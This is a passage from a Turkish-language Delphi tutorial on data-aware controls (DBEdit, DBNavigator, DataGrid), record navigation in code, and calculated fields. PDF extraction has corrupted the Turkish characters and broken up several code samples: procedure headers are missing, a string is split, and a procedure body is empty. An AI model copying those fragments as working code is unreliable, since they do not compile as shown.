ve aúa÷ıdaki “DBEdit” kontrolü ayarlarına geçin.
10
“DBEdit1” kontrolünüzü seçip “Object Inspector” penceresinden
“DataSource” özelli÷ine formunuza eklemiú oldu÷unuz “DataSource”
nesnenizin ismini aktarın (veya seçin). ùayet ismini de÷iútirmediyseniz
“DataSource1” olarak gözükecektir.
Yine “Object Inspector” penceresinden “DataField” özelli÷i için seçmiú
oldu÷unuz tabloya ait uygun sütunu seçin (tüm sütun isimleri bu özellikte
gözükecektir). Bizim örne÷imizde ilk “DBEdit” kontrolü “SIRANO” yu
gösterece÷i için bu ismi seçtik.
Son adım olarak di÷er “DBEdit” kontrolleri içinde aynı iki ayarı yaparak
uygulamanızı çalıútırınız. Tüm kayıt bilgilerinin kontrollere aktarıldı÷ını
göreceksiniz.
Resimli veya CheckBox øçeren Tablo Sütunlarıyla Ba÷lantı:
Bazı durumlarda tablonuzda kiúiye ait resimleri saklamak zorunda kalabilirsiniz.
Bu tip durumlarda o sütun için uygun bir tip seçmelisiniz. Paradox resim alanları
için sütun tipinizi “OLE” olarak belirlemenizi ister. Aynı úekilde “MEDENI
HAL” gibi evet-hayır seçenekleri içeren sütunlar içinse “Logical” tipini
seçmeniz gerekecektir. ùimdi aúa÷ıdaki tabloyu oluúturup program içerisinden
bu tabloya ba÷lanalım.
Type(Tipi)
SIRANO
+
Otomatik artar
MUSTERIADI
A
25
MEDENIHALI
L
SATISTARIHI
D
SATILANURUN
A
RESMI
O
Key(Primary ind)
*
25
Bu tabloda “Type” kısmında kullanılan “A” harfi karakter veriler için,”L” harfi
true-false içerikler için,”D” Tarihsel içerikler için,”+” karakteri otomatik artan
sütunlar için, “O” harfi ise resim türü verileri barındırmak için kullanılmaktadır.
Wizard Kullanarak Veri Tabanına Ba÷lanmak:
Aúa÷ıdaki adımları izleyerek sihirbaz yardımıyla kolayca oluúturmuú oldu÷unuz
tabloya ba÷lanabilirsiniz.
“File->New->Other” seçeneklerini izleyerek “New Items” penceresinin
açılmasını sa÷layın.
Açılan bu pencereden “Business” yapra÷ını aktifleútirin.
“DataBase Form Wizard” seçene÷ini çift tıklayarak sihirbazı iúlemleriniz
için devreye sokun.
11
Aúa÷ıdaki “Database Form Wizard” penceresi açılacaktır. Bu pencerede
“Form Options” kısmından “Create a simple form” seçene÷ini “DataSet
Options” kısmından da “Create a form using table objects” i seçerek
“Next” buttonuna tıklayın.
Aúa÷ıdaki yeni pencere açılacaktır.
Bu pencerede “Drive or Alias name” kısmından talonuzun bulundu÷u
klasörü referans gösteren “Alias” ınızı seçip “MUSTERI” tablosunu
iúaretleyin (aynı Alias ın içerisinde istedi÷iniz kadar tablo
yaratabilirsiniz).
12
“Next” buttonuna tıkladıktan sonra aúa÷ıdaki pencere açılacaktır. Bu
pencerede yer alan “Available Fields” kısmındaki tüm sütun
baúlıklarını “>>” dü÷mesine tıklayarak “Order Selected Fields”
penceresine aktarın.
“Next” buttonuna tıkladıktan sonra açılan pencereden “Vertical”
seçene÷ini seçin.
“Next” buttonuna tıkladıktan sonra açılan pencereden “Left” seçene÷ini
seçin.
“Next” buttonuna tıkladıktan sonra “Form Only” seçene÷i iúaretli iken
“Finish” buttonuyla bitirin.
Delphi yukarıdaki úekilde her úeyin hazır bulundu÷u bir form oluúturacaktır.
Artık programınızı çalıútırabilirsiniz.
13
ùayet tasarımı bir önceki örnekte oldu÷u gibi kendiniz yapmak isterseniz.
“MEDENøHAL” Sütunu için “DBEdit” kontrolü yerine aynı yaprakta yer alan
“DBCheckBox” kontrolünü kullanmak, aynı úekilde “RESMI” Sütunu için de,
yine aynı yaprakta yer alan “DBImage” kontrolünü kullanmanız gerekecekti.
Di÷er iúlemleri hiç bir de÷iúiklik yapmadan aynen uygulamalısınız.
Bu örnekte “RESIM” sütununun boú oldu÷u sanıyorum dikkatinizi çekmiútir.
Aktif kayıda aúa÷ıdaki úekilde ekleyece÷iniz bir kod blo÷uyla kolayca resim
ekleyebilirsiniz.
Formunuza “Dialog” yapra÷ında yer alan “OpenDialog” kontrolünden bir adet
yerleútirip aúa÷ıdaki kod satırlarını da resmi gösteren kontrolün “OnDblClick”
yordamına ekleyiniz.
procedure TForm3.ImageRESMIDblClick(Sender: TObject);
var
yol:AnsiString;
begin
OpenDialog1.Title:='Resim Seç';
OpenDialog1.Filter:='ico Dosyaları|*.ico|Bmp Dosyaları|*.bmp';
if OpenDialog1.Execute Then
begin
yol:=OpenDialog1.FileName;
Table1.Edit; //de÷iúme moduna al
ImageRESMI.Picture.LoadFromFile(yol);
Table1.Post;//yazdır
end;
end;
14
Kodda kullanılan “ImageRESMI” komutu kontrolün ismidir. ùayet
de÷iútirmediyseniz sütun ismine yakın bir isim alacaktır. Yapılan iúlem ise
resmin üzerine çift tıklandı÷ı zaman “OpenDialog” penceresi açtırılmaktadır.
Tablo kayıtları üzerinde de÷iúiklik yapılabilmesi için muhakkak “Edit” moduna
alınması gerekir. “Table1.Edit” satırıyla yapılan iúlem budur. En son olarak
“Table1.Post” komutuyla yeni resim veri Tabanına yazdırılmaktadır.
DBNavigator Kontrolü:
Bu kontrolü kullanarak kayıtlar arası gezinti, Yeni kayıt ekleme, kayıt silme,
kayıt güncelleme iúlemlerini kolayca yapabilirsiniz. Kontrole “DataControls”
yapra÷ından eriúebilirsiniz. Üzerindeki buttonlar ve anlamları aúa÷ıda
verilmiútir.
ølk Kayıt
ølk Kayda Gider
Önceki Kayıt
Bir Önceki Kayda Gider
Sonraki Kayıt
Bir Sonraki Kayda Gider
Son Kayıt
En Son Kayda Gider
Kayıt Ekle
Yeni Boú Kayıt Ekler
Kayıt Sil
Aktif Kaydı Siler
De÷iútir
Kaydı De÷iútirme Moduna Al
Kaydet
Kaydı Tabloya Yazar
øptal
Son Yapılan De÷iúiklikleri øptal Eder
Güncelle
Tabloyla yeniden veri akıúı oluúturur.
Aúa÷ıda sizin yabancı oldu÷unuz en genel özellikleri verilmiútir. Kullanımı son
derece basit olan bu özellikler ile “Navigator” kontrolünü en etkili úekilde
kullanabilirsiniz.
x DataSource
Bu özelli÷i sayesinde yönetilecek olan kaynak belirlenir (tablo, query veya
Stored Procedur). Kodla veya “Object Inspector” penceresinden kolayca
ayarlanabilir (Genellikle properties penceresinden ayarlamak yeterli olacaktır).
x Hints
Bu özellikle mous kontrolün üzerine geldi÷inde o dü÷menin ne iúe yaradı÷ını
gösteren açıklama balonlarının içerikleri belirlenebilir.Burada hatırlatalım, balon
içeriklerinin gösterilebilmesi için “ShowHint” özelli÷inin “true” olması
gerekmektedir. Aksi takdirde Açıklama balon içerikleri var olsa bile kullanıcı
tarafından gözükmeyecektir.
15
Aúa÷ıdaki “String List Editor” penceresi açıklama balon içeriklerini
göstermektedir.
Varsayılan olarak ingilizce yazılan bu de÷erleri sırayı bozmadan Türkçe
karúılıklarına çevirebilirsiniz.
Pencere içeriklerini aúa÷ıda gösterilen úekilde de÷iútiriniz. “ShowHint”
özelli÷ini true yapınız ve programınızı çalıútırınız.
Bu aúamadan sonra mousu “Navigator” kontrolü üzerinde bekletirseniz açıklama
balonlarınız
yukarıda
belirtilen
türkçe
karúılıklarıyla
kullanıcıyı
bilgilendirecektir.
16
x VisibleButtons
Bu özellikle gösterilecek olan dü÷meleri belirleyebilirsiniz. Kontrolü seçip
“Object Inspector” penceresinden gösterilmesini istemedi÷iniz buttonun
özelli÷ini “false” yapmalısınız.
Özelli÷ini false yaptı÷ınız button artık kullanıcı tarafından gözükmeyecektir. Bu
úekilde salt okunur kayıtlar üretebilirsiniz. Yani kullanıcı sadece kayıtlar arası
gezinti yapabilecek asla kayıtlarınızı de÷iútiremiyecektir.
DBNavigator Kontrolü øçin Tıklanan Dü÷meye Kod Yazmak:
Her ne kadar “DBNavigator” dü÷meleri kendi kodlarını iúletsede sizde bu
kodlara ekleme yapabilirsiniz. Bu iúlem için öncelikle “DBNavigator”
kontrolünü seçip “OnClick” yordamını oluúturmasını sa÷layın.
x OnClick Yordamı
Bu yordam “DBNavigator” kontrolü içerisindeki dü÷melerden hangisine
tıklarsanız tıklayın iúleyen bir yordamdır. Bu yordamda tanımlanan “Button”
parametresi tıklanan dü÷menin numarasını tutarak programcıya o dü÷meye ait
ek kod yazma úansı vermektedir. Aúa÷ıdaki kodu yazıp programı çalıútırın. Bu
aúamada “ilk Kayıt” dü÷mesine tıklayın.
procedure
TForm3.DBNavigatorClick(Sender:
TNavigateBtn);
begin
if Button=nbFirst Then //ilk dü÷me tıklanırsa
ShowMessage('ølk Kayıda Geldiniz')
end;
TObject;
Button:
17
ølk Kayıt Dü÷mesine tıkladıktan sonra aúa÷ıdaki gibi kullanıcıyı bilgilendirmek
amaçlı eklemiú oldu÷unuz kod iúletilecektir. Bu yordama yazaca÷ınız kodlar,
kontrolün kendi kodlarını iúletmesini engellemez.
Burada tıklanılan dü÷me, prosedür içerisinde tanımlanan “Button” isimli
parametrede tutulmaktadır. “nbFirst” de÷erini alması ilk dü÷menin tıklanıldı÷ı
anlamını taúımaktadır. Aúa÷ıda di÷er dü÷melerin anlamları tablo halinde
verilmiútir.
Button
Sonuç
nbFirst
ølk Kayıt Buttonu Tıklandı
nbPrior
Önceki Kayıt Buttonu Tıklandı
nbNext
Sonraki Kayıt Buttonu Tıklandı
nbLast
Son Kayıt Buttonu Tıklandı
nbInsert
Kayıt Ekle Tıklandı
nbDelete
Kayıt Sil Tıklandı
nbEdit
Kayıt De÷iútir Tıklandı
nbPost
Kaydet Tıklandı
nbCancel
De÷iúiklikleri øptal Et Tıklandı
nbRefresh
Güncelle Tıklandı
x BeforeAction Yordamı
Herhangi bir dü÷meye tıklanıldı÷ı anda, kontrol henüz kendi kodlarını
iúletmeden hemen önce sizin, kodlarınızın iúletilmesini sa÷layan bir yordamdır.
Aynı úekilde burada da “Button” parametresi hangi dü÷menin tıklanıldı÷ını
belirlemek için kullanılmaktadır.
18
procedure TForm3.DBNavigatorBeforeAction(Sender: TObject;
Button: TNavigateBtn);
begin
if Button=nbCancel Then//iptal dü÷mesine basarsa
begin
ShowMessage('Yapılan En Son De÷iúiklikler øptal Edilecek');
end;
end;
Kayıtları DataGrid Nesnesinde Göstermek:
Tablonuzda yer alan kayıtları topluca kullanıcıya göstermek için kullanılan en
popüler kontrol “DataGrid” nesnesidir. Uygulamanıza “DataControls”
yapra÷ında yer alan bu kontrolden bir adet yerleútirip “DataSource” özelli÷ine
verilerinizi gösterece÷iniz tabloya ait “DataSource” kontrolünü aktarın. ùayet
ismini de÷iútirmediyseniz bizim projemizde “DataSource1” olarak
gözükecektir.
Programı çalıútırdıktan sonraki pencere görüntüsü yukarıdaki gibi oluúacaktır.
“DBNavigator” kontrolü ile kayıtlar arasında gezinti yaparsanız hem “DBEdit”
kontrolünün hemde “DataGrid” nesnesinin kayıt pozisyonunun beraberce
de÷iúti÷ini göreceksiniz. Bunun sebebi kontrollerin kaynak olarak aynı nesneyi
yanı “DataSource1” kontrolünü kullanmalarından kaynaklanmaktadır. Mesela
“DBNavigator” kontrolünde yer alan “Kayıt Ekle” dü÷mesine tıklarsanız ister
“DataGrid” nesnesinden, isterseniz “DBEdit” kontrollerinden kayıtlarınızı
kolayca girebilirsiniz. Sonuç iki durumda da aynı olacaktır.
19
Kayıt øúlemlerini Kodla Yapmak:
Bazı durumlarda kayıt iúlemleri için “DBNavigator” kontrolünü kullanmak
istemeyebilirsiniz (zorunlu kaldı÷ınız durumlar da olabilir). O zaman her úeyi
kodla yaptırmak zorunda kalacaksınız. Aúa÷ıdaki tasarımı oluúturup gerekli
ba÷lantıları yukarıda anlattı÷ımız úekilde yapın.
Dü÷melere ait kodlar aúa÷ıda verilmiútir. Tamamını uygulamanıza ait “Unit”
penceresine ekleyiniz.
procedure TForm4.FormCreate(Sender: TObject);
begin
Table1.Open;//Tabloyu aç
end;
procedure TForm4.Button1Click(Sender: TObject);
//ølk Kayda Git
begin
Table1.First;
end;
//Önceki Kayıt
20
begin
if not Table1.Bof Then //ilk kayıt de÷ilse
Table1.Prior
else
ShowMessage('Zaten ølk Kayıttasınız');
end;
//Sonraki Kayıt
begin
if not Table1.Eof Then
Table1.Next
else
ShowMessage('Zaten Son Kayıttasınız');
end;
//Son Kayıt
begin
Table1.Last;
end;
//Kayıt Ekle
begin
Table1.Insert;
EditMAGAZAADI.SetFocus;//imleç ilk sütuna gitsin
end;
//Kayıt Sil
var
mesaj:Integer;
begin
mesaj:=Application.MessageBox('Silmek østedi÷inizden
MB_YesNo);
if mesaj=mrYes Then
begin
Table1.Delete;
ShowMessage('Kayıt Silindi');
end
else
ShowMessage('Kayıt Silme øúlemi øptal Edildi');
end;
//Kayıt De÷iútir
begin
Eminmisiniz','Sil',
21
Table1.Edit;
end;
//Kaydet
begin
Table1.Post;
end;
//øptal Et
begin
Table1.Cancel;
end;
//Güncelle
begin
Table1.Refresh;
end;
Ba÷lantı øúlemlerinin Kodla Yapmak:
Bu bölümde “DBEdit” kontrolleri yerine, Standart yapra÷ında bulunan “Edit”
kontrollerini kullanarak kodla veri Tabanı ba÷lantı iúlemlerini görece÷iz.
Ardından kayıt iúlemlerini “Edit” kontrollerini kullanarak nasıl yapabilece÷inizi
gösterece÷im. Bu tür ba÷lantılar size çok büyük esneklik sa÷layacaktır. Önceki
ba÷lantı türünden çok daha etkili sonuçlar alabilirsiniz (bazen bu úekilde
ba÷lantıya mecbur kalabilirsiniz).
Aúa÷ıdaki adımları izleyerek gerekli olan tasarımı oluúturunuz.
Birinci adımda Formunuzun üzerine “Additional” yapra÷ında yer alan
“ScrollBox” kontrolünden bir adet yerleútirin.
økinci adımda yerleútirdi÷iniz “ScrollBox” kontrolünü seçerek “Object
Inspector” penceresinden “BorderStyle” özelli÷ini “bsSingle” yapın.
Üçüncü adımda yine “ScrollBox” kontrolünü seçip “Align” özelli÷ini
“alClient” yapın (bu üç adımı estetik görünüm açısından gerçekleútirdik.
Ba÷lantı için zorunlu de÷ildir).
Dördüncü adımda “BDE” Yapra÷ında yer alan “Table” nesnesinden bir
adet sürükleyip formun üzerine bırakın.
“Table” nesnesinin “DataBase Name” özelli÷ine “gazi”, “Table Name”
özelli÷ine de “SERVIS” de÷erini aktarın.
22
Altıncı adımda formunuzun üzerine “DataAccess” yapra÷ında yer alan
“DataSource” nesnesinden yerleútirerek “DataSet” özelli÷ine “Table1”
de÷erini aktarın.
Yedinci adımda “Table1” kontrolünü seçip mousun sa÷ tuúuna tıklayın.
Açılan menüden “Fields Editör” seçene÷ine tıklayarak aúa÷ıdaki
pencerenin açılmasını sa÷layın
Bu penceredeki beyaz alan üzerinde mousun sa÷ tuúuna tıklayarak, açılan
menüden “Add All Fields” seçene÷ini seçin. Yukarıdaki gibi tüm sütun
isimleri pencerede listelenecektir (Bu iúlemi sütun isimlerini
kullanabilelim diye yaptık. Aktif kayıttaki tüm sütun de÷erleri bu
de÷iúkenlerde tutulur).
Dokuzuncu adımda formunuza beú (5) adet “Edit” ve beú (5) adet “Label”
kontrolü yerleútirerek aúa÷ıdaki tasarımı oluúturunuz.
Yukarıdaki tasarımı oluúturduktan sonra program çalıútırıldı÷ı anda aktif
kayıttaki bilgilerin “Edit” kontrollerinde gözükebilmesi için aúa÷ıdaki kod
blo÷unu projenize ekleyiniz.
23
//Satır Bilgilerini Kontrollere aktar
begin
Table1.Open;//Tabloyu aç
Edit1.Text:=Table1MAGAZAADI.Text;
Edit2.Text:=Table1SERVISTARIHI.Text;
Edit3.Text:=Table1GIDENFIRMA.Text;
Edit4.Text:=Table1ARIZASEBEBI.Text;
Edit5.Text:=Table1FATURATUTARI.Text;
end;
Programı çalıútırdıktan sonraki ekran görüntüsü aúa÷ıdaki gibi olacaktır. “Edit”
kontrollerinin içeriklerinin dolu oldu÷una dikkat ediniz.
ùimdi formunuzun üzerine bir adet “Button” kontrolü yerleútirip “Caption”
özelli÷ine “ølk Kayıt” yazın. Aúa÷ıda bu buttonun “OnClick” yordamına
yazaca÷ınız kod verilmiútir.
//ølk Kayıt
begin
Table1.First;//ilk kayda git
end;
24
ùimdide økinci bir “Button” kontrolü yerleútirip “Caption” özelli÷ine “Önceki
Kayıt” yazın. Bu buttonun “OnClick” yordamına yazaca÷ınız kod aúa÷ıda
verilmiútir.
//Önceki Kayıt
begin
Table1.Prior;//Önceki kayda git
end;
ùimdi üçüncü bir “Button” kontrolü yerleútirip “Caption” özelli÷ine “Sonraki
Kayıt” de÷erini girin. Bu kontrolün “OnClick” yordamına ekleyece÷iniz kod
aúa÷ıda verilmiútir.
//Sonraki Kayıt
begin
Table1.Next;//Sonraki kayda git
end;
ùimdi dördüncü bir “Button” kontrolü yerleútirip “Caption” özelli÷ine
“SonKayıt” de÷erini girin. Bu kontrolün “OnClick” yordamına ekleyece÷iniz
kod aúa÷ıda verilmiútir.
//Son Kayıt
begin
Table1.Last; //Son kayda git
end;
25
ùimdi beúinci bir “Button” kontrolü yerleútirip “Caption” özelli÷ine “Kayıt
Ekle” de÷erini girin. Bu kontrolün “OnClick” yordamına ekleyece÷iniz kod
//Kayıt Ekle
begin
Edit1.Text:='';
Edit2.Text:='';
Edit3.Text:='';
Edit4.Text:='';
Edit5.Text:='';
Edit1.SetFocus;
end;
ùimdi altıncı bir “Button” kontrolü yerleútirip “Caption” özelli÷ine “Kaydet”
de÷erini girin. Bu kontrolün “OnClick” yordamına ekleyece÷iniz kod aúa÷ıda
verilmiútir.
//Kaydet
begin
Table1.Insert; //kayıt aç
Table1MAGAZAADI.AsString:=Edit1.Text;
Table1SERVISTARIHI.AsDateTime:=StrToDateTime(Edit2.Text);
Table1GIDENFIRMA.AsString:=Edit3.Text;
Table1ARIZASEBEBI.AsString:=Edit4.Text;
Table1FATURATUTARI.AsCurrency:=StrToCurr(Edit5.Text);
Table1.Post; //kaydet
end;
ùimdi yedinci bir “Button” kontrolü yerleútirip “Caption” özelli÷ine “Kayıt Sil”
de÷erini girin. Bu kontrolün “OnClick” yordamına ekleyece÷iniz kod aúa÷ıda
verilmiútir.
//Kayıt Sil
var
mesaj:Integer;
begin
mesaj:=Application.MessageBox('Silmek østedi÷inizden Eminmisiniz','Kayıt
Sil',MB_ICONSTOP+MB_YESNO);
26
if mesaj=mrYes Then
begin
Table1.Delete;//Kaydı sil
end
else
ShowMessage('Silme øúlemi øptal Edildi');
end;
ùimdi sekizinci bir “Button” kontrolü yerleútirip “Caption” özelli÷ine “Kayıt
øptal” de÷erini girin. Bu kontrolün “OnClick” yordamına ekleyece÷iniz kod
//Kayıt øptal
begin
Table1.Cancel; //de÷iúiklikleri iptal et
end;
ùimdi dokuzuncu bir “Button” kontrolü yerleútirip “Caption” özelli÷ine
“Güncelle” de÷erini girin. Bu kontrolün “OnClick” yordamına ekleyece÷iniz
kod aúa÷ıda verilmiútir.
//Güncelle
begin
Table1.Refresh;//Güncelle
end;
27
Programın tasarımına ait son görüntü aúa÷ıdaki gibi olacaktır.
Bu örnekte tablo sütunlarındaki içerikleri kontrollere aktarma iúlemini tek bir
prosedüde tanımlayıp kullanırsanız sonuç çok daha teknik olacaktır. Aúa÷ıda
tüm kod verilmiútir.
type
TForm6 = class(TForm)
private
procedure doldur;//Burada tanımlamayı Unutmayınız.
{ Private declarations }
public
{ Public declarations }
end;
begin
Table1.Open;//Tabloyu Aç
doldur;//prosedürü iúlet
end;
//ølk Kayıt
begin
Table1.First;//ilk kayda git
doldur;
end;
//Önceki Kayıt
28
begin
Table1.Prior;//Önceki kayda git
doldur;
end;
//Sonraki Kayıt
begin
Table1.Next;//Sonraki kayda git
doldur;
end;
//Son Kayıt
begin
Table1.Last; //Son kayda git
doldur;
end;
//Kayıt Ekle
begin
Edit1.Text:='';
Edit2.Text:='';
Edit3.Text:='';
Edit4.Text:='';
Edit5.Text:='';
Edit1.SetFocus;
end;
//Kaydet
begin
Table1.Insert; //kayıt aç
Table1MAGAZAADI.AsString:=Edit1.Text;
Table1SERVISTARIHI.AsDateTime:=StrToDateTime(Edit2.Text);
Table1GIDENFIRMA.AsString:=Edit3.Text;
Table1ARIZASEBEBI.AsString:=Edit4.Text;
Table1FATURATUTARI.AsCurrency:=StrToCurr(Edit5.Text);
Table1.Post; //kaydet
end;
//Kayıt Sil
var
mesaj:Integer;
begin
29
mesaj:=Application.MessageBox('Silmek østedi÷inizden Eminmisiniz','Kayıt
Sil',MB_ICONSTOP+MB_YESNO);
if mesaj=mrYes Then
begin
Table1.Delete;//Aktif kaydı sil
end
else
end;
//Kayıt øptal
begin
Table1.Cancel; //de÷iúiklikleri iptal et
Doldur;//prosedürü iúlet
end;
//Güncelle
begin
Table1.Refresh;//Güncelle
end;
procedure TForm6.doldur;
//Sütun içeriklerini Edit kontrollerine aktaran prosedür
begin
end;
Bu örnekte “doldur” isimli prosedürü “Private” veya “Public” kısmında
tanımlayın. Basit bir prosedür gibi tanımlarsanız “Edit” kontrolü için,
“Form1.Edit1.Text” úeklinde kullanılması gerekir.
Veri Tabanında Olmayan Sütunlar Yaratmak:
Di÷er sütunlardan yola çıkarak hesaplanabilen sütunları Veri Tabanına
koymamak dosyanızın daha az yer tutmasını sa÷layacaktır. ùayet mecbur
kalmazsanız (mecbur kalabilece÷iniz bir durum bilmiyorum) bu tür sütunları
30
aúa÷ıda gösterece÷im úekilde oluúturunuz. Daha önce oluúturdu÷umuz tabloda ki
“TUTAR” sütununu kullanarak tabloda mevcut olmayan “KDV” ve
“TOPLAMFIYAT” sütunlarını oluúturaca÷ız. Aúa÷ıdaki adımları dikkatlice
takip ediniz.
Formunuzun üzerine bir adet “Table” nesnesi yerleútirerek
“DatabaseName” özelli÷ine tanımlamıú oldu÷unuz “Alias” ınızın ismini
girin (bizim örne÷imizde gazi).
økinci adımda “Table” kontrolünün “TableName” özelli÷ine “SERVIS”
tablonuzun ismini aktarın.
“DataAccess” yapra÷ında yer alan “DataSource” kontrolünden bir adet
formunuza sürükleyin. “DataSet” özelli÷ine “Table1” kontrolünü aktarın.
Dördüncü adımda formunuza bir adet “Additional” yapra÷ında yer alan
“ScrollBox” kontrolü ekleyerek, “Align” özelli÷ine “alClient”,
“BorderStyle” özelli÷ine de “bsSingle” de÷erlerini aktarın (estetik
görünüm için).
Beúinci adımda formunuza “DataControls” yapra÷ında yer alan
“DataGrid” kontrolü ekleyerek “DataSource” özelli÷ine “DataSource1”
nesnesini aktarınız.
Altıncı adımda Table kontrolünüzün “Object Inspector” penceresinden
“Active” özelli÷ini “true” yapın.
ùu aúamada programınızı çalıútırırsanız yukarıdaki úekilde tablonuzda yer
alan tüm sütunları “DataGrid” nesnesinde listeletmiú olacaksınız. Bu
adımdan sonra tablonuzda yer almayan “KDV” ile “TOPLAM TUTAR”
sütunlarını oluúturmayı gösterece÷im.
Yedinci adımda “Table” nesnesi üzerine mousun sa÷ tuúuyla tıklayın.
Açılan menüden “Fields Editör” seçene÷ini seçiniz.
Aktif beyaz pencerede mousun sa÷ tuúuna tıklayarak açılan menüden
“Add All Fields” seçene÷ini tıklayınız.
31
Tüm sütunları ekledikten sonra tekrar mousun sa÷ tuúuna tıklayın. Açılan
menüden “New Fields” seçene÷ini seçin Aúa÷ıdaki pencere açılacaktır.
“Name” kısmına sütun baúlı÷ınızı (“KDV”), “Type” kısmına sütunun
içerece÷i verinin tipini (Currency), “Field Type” kısmından nasıl bir veri
olaca÷ını (di÷er sütun kullanılarak hesaplanaca÷ı için Calculated) seçin.
“Component” kısmını ise kendisi otomatik olarak dolduracaktır. Bu kısmı
de÷iútirmenize gerek yoktur.
“OK” Buttonuna tıklayarak sütunun tabloya eklenmesini sa÷layın.
Beyaz ekranda tekrar mousun sa÷ tuúuna tıklayarak açılan menüden“New
Fields” seçene÷ini seçiniz. Aúa÷ıdaki pencere açılacaktır. Girilen
de÷erleri aynen sizde oluúturunuz.
32
Gerekli de÷erleri girdikten sonra “OK” Buttonuna tıklayarak pencereyi
kapatınız.
Yaratılan Sütun De÷erlerini Tablonuzda Hesaplatmak:
Eklemiú oldu÷unuz iki yeni sütunun “Object Inspector” penceresinde
bulunan “FieldKind” özelliklerinin “fkCalculated” oldu÷unu tekrar
kontrol ediniz. Aksi takdirde hesaplatma iúleminiz baúarısızlıkla
sonuçlanacaktır.
Son adım olarak aúa÷ıdaki kodu “Table” kontrolünüzün “OnCalcFields”
yordamına yazmak yeterli olacaktır.
procedure TForm7.Table1CalcFields(DataSet: TDataSet);
begin
Table1KDV.AsCurrency:=Table1FATURATUTARI.AsCurrency*0.15;
Table1TOPLAMTUTAR.AsCurrency:=Table1FATURATUTARI.AsCurrency*1.15;
end;
Bu aúamadan sonra uygulamanızı çalıútırırsanız “DataGrid” nesnenizde iki adet
yeni sütunun oluútu÷unu, bu sütunların içeriklerini tablonuzda yer alan
“FATURATUTARI” sütununa göre hesapladıklarını göreceksiniz. Yeni kayıt
eklemeniz bu sutünların hesaplanmasını engellemez. Ekleyece÷iniz her yeni
kayıt için sonuç yine otomatik olarak hesaplanacaktır. Aynı úekilde var olan bir
kayıt üzerinde de÷iúiklik yaparsanız sonuç bu yeni sütunlara da anında
yansıyacaktır. Programınızın en son görüntüsü aúa÷ıda verilmiútir. “KDV” ile
”TOPLAMTUTAR” sütunlarının Veri Tabanınızda var olmadı÷ına dikkatinizi
çekelim.
33
DataGrid Kontrolüne Ait Özellikler:
Kayna÷ınızdaki kayıtları topluca kullanıcıya göstermek için kullanılan en
popüler kontrol sanıyorum “DataGrid” nesnesidir. Bu yüzden kayıtların daha
estetik ve güzel görünmesi için yapmanız gereken bir takım ayarlar
bulunmaktadır. ùimdi sizlere bu ayarlardan bahsetmek istiyorum. Öncelikle
daha önceden oluúturmuú oldu÷umuz “SERVIS” tablosuna gerekli ba÷lantıları
yapıp tüm kayıtların aúa÷ıdaki pencerede oldu÷u gibi “DataGrid” nesnesinde
gösterilmesini
sa÷layın
(Ba÷lantı
iúlemleri
her
defasında
artık
anlatılmayacaktır).
ùu anda “DataGrid “kontrolü tablo içerisindeki tüm kayıtları göstermektedir.
34
DataGrid Kontrolüne Ait Sütun Baúlıklarını Belirlemek:
Yukarıdaki pencereye dikkat edecek olursanız, sütun baúlıklarınız Veri Tabanın
da nasıl belirlendiyse o úekilde gözükmektedir. Fakat bir çok durumda buradaki
sütun baúlıklarının daha de÷iúik metinle (kısaltma yapmıú olabilirsiniz vs)
gösterilmesi istenir. Bizde úimdi yapaca÷ımız de÷iúiklikle yeni sütun baúlıkları
belirleyelim (sütun baúlıklarını DataGrid nesnesinden de÷iútirmek veri
tabanınıza yansımaz).
“DataGrid” kontrolünü seçip mousun sa÷ tuúuna tıklayın. Açılan menüden
“Columns Editor” seçene÷ine tıklayın Karúınıza aúa÷ıdaki pencere
açılacaktır.
Açılan bu pencerede ilk etapta hiç bir sütun gözükmeyecektir. Beyaz
alanda mousun sa÷ tuúuna tıklayın, açılan menüden “Add All Fields”
seçene÷ini seçin. Bütün sütunlar yukarıdaki pencerede oldu÷u gibi
ekranınıza eklenecektir.
Bu adımda sol taraftaki pencereden sütunu seçip “Object Inspector”
penceresindeki “Title” özelli÷inin solundaki “+” iúaretine tıklayın.
35
Alt satırları açılan “Title” seçene÷inden “Caption” de÷erlerini tüm sütun
baúlıkları için ayrı ayrı belirleyin. Aúa÷ıdaki ekran görüntüsü sütun
baúlıklarının de÷iútirilmiú halini göstermektedir.
DataGrid Sütun Baúlıklarının Ortalanması:
Yukarıdaki adımları aynen izleyerek “Columns Editor” penceresinin açılmasını
sa÷layın. Bu pencerede ortalataca÷ınız sütunu seçip “Object Inspector”
penceresinde “Title” özelli÷inin altında yer alan (di÷er Alignment
de÷il)“Alignment” özelli÷ini “taCenter” olarak de÷iútirin. Sütun baúlıklarınız
artık ortalanmıú úekilde gözükecektir. Alabilece÷i di÷er seçenekler aúa÷ıda
verilmiútir.
Alignment
Sonuç
taCenter
Sütun øçerisinde Ortalanmıú
taLeftJustify
Sütun øçerisinde Sola Dayalı
taRightJustify
Sütun øçerisinde Sa÷a Dayalı
36
DataGrid Sütun Geniúliklerini Ayarlamak:
Düzgün bir görüntü için “DataGrid” nesnenizin sütun geniúliklerini en uygun
boyuta getirmelisiniz. Aksi takdirde çirkin bir görünümü olacaktır. “DataGrid”
nesneniz için sütun geniúliklerini aúa÷ıdaki úekilde ayarlayabilirsiniz.
Yukarıdaki adımları aynen izleyip “Columns Editor” penceresini açın. Bu
pencerede geniúli÷ini de÷iútirece÷iniz sütunu seçip “Object Inspector”
penceresinden “Width” özelli÷ine uygun olan geniúlik miktarını girerek sütun
geniúliklerini ayarlayabilirsiniz.
DataGrid Sütunlarını ReadOnly Yapmak:
Bilhassa kayıt ekleme veya kayıt de÷iúikliklerinin “DataGrid” kontrolünden
yapılmasına izin verdi÷iniz durumlarda, kullanıcının bazı sütun de÷erlerini
de÷iútirebilmesini istemeyebilirsiniz. Bu tip durumlarda o sütuna salt okunur
özelli÷i vermelisiniz. Aúa÷ıda bu iúlemi nasıl yapabilece÷iniz açıklanmaktadır.
Önceki uygulamada izledi÷iniz adımları aynen izleyerek “Columns Editor”
penceresinin açılmasını sa÷layınız. Salt okunur özelli÷i verece÷iniz sütunu seçip
“Object Inspector” penceresinden “ReadOnly” özelli÷ini true yapın. ùimdi
programınızı çalıútırırsanız, di÷er sütunlarda kolayca de÷iúiklik yapabilmenize
ra÷men “ReadOnly” özelli÷ini “true” yaptı÷ınız sütunda de÷iúiklik
yapamayacaksınız.
DataGrid Sutununu ComboBox ùeklinde Kullanmak:
“DataGrid” kontrolü içerisinde kayıt de÷iúikli÷i veya kayıt ekleme iúlemi
sırasında, içeri÷in açılan bir “ComBoBox” kontrolünden seçilebilmesini
sa÷layabilirsiniz. Aúa÷ıda bu iúlemi nasıl yapabilece÷iniz açıklanmaktadır.
